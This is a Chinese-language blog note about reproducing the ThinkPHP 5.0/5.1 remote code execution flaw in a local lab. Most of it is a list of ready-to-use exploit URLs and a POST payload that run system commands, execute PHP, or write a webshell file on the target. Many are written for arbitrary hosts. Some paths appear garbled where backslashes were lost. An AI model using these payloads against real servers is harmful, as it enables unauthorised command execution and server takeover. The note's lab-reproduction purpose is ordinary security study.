0x1 前言

之前看到大佬们在网上爆出tp远程代码执行,我就想著来复现一波,所以写篇文章做个笔记。

0x2漏洞复现

首先去ThinkPhP官网下载他的一个框架:

框架下载 - ThinkPHP框架?

www.thinkphp.cn

在这里我选择的是ThinkPHP5.0.22完整版,大家可以下载其他版本!

然后使用phpstudy集成环境搭建Tp5.0.22:

然后运行php环境,在这里我选择的是Apach+PHP5.5n的:

然后访问:127.0.0.1/cms/public/in

然后在url后面添加:

url是http://127.0.0.1/cms/public/index.php
添加后:http://127.0.0.1/cms/public/index.php?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

打开网页看看执行结果:

Success!当然这是GET请求的攻击,我们如何用POST请求来执行命令呢?

这时候需要用到火狐浏览器的Hackbar:

URL:http://127.0.0.1/cms/public/index.php?s=captcha
Post data:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

然后Excute:

然后成功执行了!ok,笔记就到这!

下面附上其他payload:

TP版本5.0.21:
http://localhost/thinkphp_5.0.21/?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

http://localhost/thinkphp_5.0.21/?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

TP版本5.0.22:
http://url/to/thinkphp_5.0.22/?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

http://url/to/thinkphp_5.0.22/?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

TP5.1.*
thinkphp5.1.29为例

1、代码执行:
http://url/to/thinkphp5.1.29/?s=index/ hinkRequest/input&filter=phpinfo&data=1

2、命令执行:
http://url/to/thinkphp5.1.29/?s=index/ hinkRequest/input&filter=system&data=操作系统命令

3、文件写入(写shell):
http://url/to/thinkphp5.1.29/?s=index/ hink emplatedriverfile/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

4、未知:
http://url/to/thinkphp5.1.29/?s=index/ hinkviewdriverPhp/display&content=%3C?php%20phpinfo();?%3E

5、代码执行:
http://url/to/thinkphp5.1.29/?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

6、命令执行:
http://url/to/thinkphp5.1.29/?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令

7、代码执行:
http://url/to/thinkphp5.1.29/?s=index/ hinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

8、命令执行:
http://url/to/thinkphp5.1.29/?s=index/ hinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令

以上Poc来自:

Thinkphp5.0.X系列再报0day?

mp.weixin.qq.com
图标

推荐阅读:
相关文章